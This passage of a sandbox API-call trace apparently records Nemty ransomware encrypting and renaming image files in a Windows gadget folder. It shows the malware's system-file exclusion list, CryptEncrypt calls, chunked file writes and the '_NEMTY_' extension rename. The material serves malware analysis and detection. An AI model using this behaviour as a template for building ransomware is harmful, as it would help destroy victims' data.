lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0163.438] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0163.438] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_blue_windy.png", cchWideChar=21, lpMultiByteStr=0x4f9ecb8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="docked_blue_windy.png", lpUsedDefaultChar=0x0) returned 21 [0163.438] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0163.438] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0163.438] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0163.438] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0163.438] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_blue_windy.png", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0163.438] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0163.438] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_blue_windy.png", cchWideChar=21, lpMultiByteStr=0x4f9ecb8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="docked_blue_windy.png", lpUsedDefaultChar=0x0) returned 21 [0163.438] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0163.438] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0163.438] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_blue_windy.png", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0163.438] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0163.439] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_blue_windy.png", cchWideChar=21, lpMultiByteStr=0x4f9ed58, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="docked_blue_windy.png", lpUsedDefaultChar=0x0) returned 21 [0163.439] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0163.439] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63400d0 [0163.439] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340188 | out: hHeap=0x4f90000) returned 1 [0163.439] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340188 [0163.439] Sleep (dwMilliseconds=0x5) [0163.441] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x15106a90, dwHighDateTime=0x1d561e8)) [0163.441] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x15106a90, dwHighDateTime=0x1d561e8)) [0163.441] GetLastError () returned 0x5 [0163.441] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0163.441] GetLastError () returned 0x5 [0163.441] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0163.441] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0163.441] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0163.441] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0163.441] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0163.441] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0163.441] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340240 [0163.441] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340240, pcchString=0x653e91c | out: pszString="iZBBHfKPwwNVBNTx3scqDr7JDbyUzqIZiH2EOc/mHUR6p/jTqJ+L/A3/96citAbi\r\nCvfHaOiqaXSp97eo9c1c6MXKK5K1N1c5tG0w/fyZIkRmOepFoK+ZsAWG1CqGeNZ5\r\nHnZ1X0d+kkqQn56hLDeupfFSSM8VwEW7QUZMH3sE5bylx/ffO/F8uvzNSI3kaLYa\r\nGnPIBqHDVhGOQUvrourAzwjp78kUau/vfPXZfiU6U+gLPCKnPvrThRzemWcbnw/i\r\n+jYY9LSeq3LVFaf5AT93dFot5J337021NCsUyXn55GaF53h/i8btkncnz0AK3syy\r\najdN0+P9pF/A0bQ4Mn3mnw==\r\n", pcchString=0x653e91c) returned 1 [0163.441] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0163.441] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0163.441] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0163.441] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0163.442] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340240 [0163.442] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0163.442] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\docked_blue_windy.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\docked_blue_windy.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0163.442] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0163.442] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0163.442] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.442] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0163.451] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.451] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0163.451] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.451] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0163.460] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.460] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0163.460] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.461] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0163.470] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.470] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0163.470] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.470] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0163.479] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.479] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0163.479] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.479] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0163.488] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.488] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0163.488] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.488] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0163.497] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.498] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0163.498] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.498] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0163.507] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.507] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0163.507] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.507] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0163.516] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.516] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0163.516] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.517] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0163.526] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.526] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0163.526] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.526] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0163.535] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.535] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0163.535] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.535] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0163.541] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.541] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0163.541] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.541] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0163.547] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.547] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0163.547] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.547] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340240, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0163.547] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0163.547] CloseHandle (hObject=0xffffffff) returned 0 [0163.547] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63403b0 [0163.548] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0163.548] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0163.548] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0163.548] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0163.548] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0163.548] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340468 [0163.548] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6343fe8 [0163.548] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340468 | out: hHeap=0x4f90000) returned 1 [0163.548] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0163.548] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\docked_blue_windy.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\docked_blue_windy.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\docked_blue_windy.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\docked_blue_windy.png._nemty_kgobjgd_")) returned 0 [0163.548] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0163.548] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0163.548] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0163.548] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0163.548] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0163.548] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0163.548] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0163.548] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340188 | out: hHeap=0x4f90000) returned 1 [0163.548] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0163.548] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0163.548] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87442087, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x87442087, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2c3697cd, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2929, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="docked_gray_cloudy.png", cAlternateFileName="")) returned 1 [0163.548] lstrcmpiW (lpString1="docked_gray_cloudy.png", lpString2=".") returned 1 [0163.548] lstrcmpiW (lpString1="docked_gray_cloudy.png", lpString2="..") returned 1 [0163.548] lstrcmpiW (lpString1="docked_gray_cloudy.png", lpString2="...") returned 1 [0163.548] lstrcmpiW (lpString1="docked_gray_cloudy.png", lpString2="windows") returned -1 [0163.548] lstrcmpiW (lpString1="docked_gray_cloudy.png", lpString2="$RECYCLE.BIN") returned 1 [0163.548] lstrcmpiW (lpString1="docked_gray_cloudy.png", lpString2="rsa") returned -1 [0163.548] lstrcmpiW (lpString1="docked_gray_cloudy.png", lpString2="NTDETECT.COM") returned -1 [0163.548] lstrcmpiW (lpString1="docked_gray_cloudy.png", lpString2="ntldr") returned -1 [0163.549] lstrcmpiW (lpString1="docked_gray_cloudy.png", lpString2="MSDOS.SYS") returned -1 [0163.549] lstrcmpiW (lpString1="docked_gray_cloudy.png", lpString2="IO.SYS") returned -1 [0163.549] lstrcmpiW (lpString1="docked_gray_cloudy.png", lpString2="boot.ini") returned 1 [0163.549] lstrcmpiW (lpString1="docked_gray_cloudy.png", lpString2="boot.ini") returned 1 [0163.549] lstrcmpiW (lpString1="docked_gray_cloudy.png", lpString2="AUTOEXEC.BAT") returned 1 [0163.549] lstrcmpiW (lpString1="docked_gray_cloudy.png", lpString2="ntuser.dat") returned -1 [0163.549] lstrcmpiW (lpString1="docked_gray_cloudy.png", lpString2="desktop.ini") returned 1 [0163.549] lstrcmpiW (lpString1="docked_gray_cloudy.png", lpString2="CONFIG.SYS") returned 1 [0163.549] lstrcmpiW (lpString1="docked_gray_cloudy.png", lpString2="RECYCLER") returned -1 [0163.549] lstrcmpiW (lpString1="docked_gray_cloudy.png", lpString2="BOOTSECT.BAK") returned 1 [0163.549] lstrcmpiW (lpString1="docked_gray_cloudy.png", lpString2="bootmgr") returned 1 [0163.549] lstrcmpiW (lpString1="docked_gray_cloudy.png", lpString2="programdata") returned -1 [0163.549] lstrcmpiW (lpString1="docked_gray_cloudy.png", lpString2="appdata") returned 1 [0163.549] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0163.549] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_gray_cloudy.png", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0163.549] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0163.549] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_gray_cloudy.png", cchWideChar=22, lpMultiByteStr=0x4f9ecb8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="docked_gray_cloudy.png", lpUsedDefaultChar=0x0) returned 22 [0163.549] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0163.549] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0163.549] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_gray_cloudy.png", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0163.549] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0163.549] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_gray_cloudy.png", cchWideChar=22, lpMultiByteStr=0x4f9ecb8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="docked_gray_cloudy.png", lpUsedDefaultChar=0x0) returned 22 [0163.549] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0163.549] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0163.549] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0163.549] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0163.549] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_gray_cloudy.png", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0163.549] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0163.549] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_gray_cloudy.png", cchWideChar=22, lpMultiByteStr=0x4f9ecb8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="docked_gray_cloudy.png", lpUsedDefaultChar=0x0) returned 22 [0163.549] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0163.549] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0163.549] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_gray_cloudy.png", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0163.549] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0163.549] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_gray_cloudy.png", cchWideChar=22, 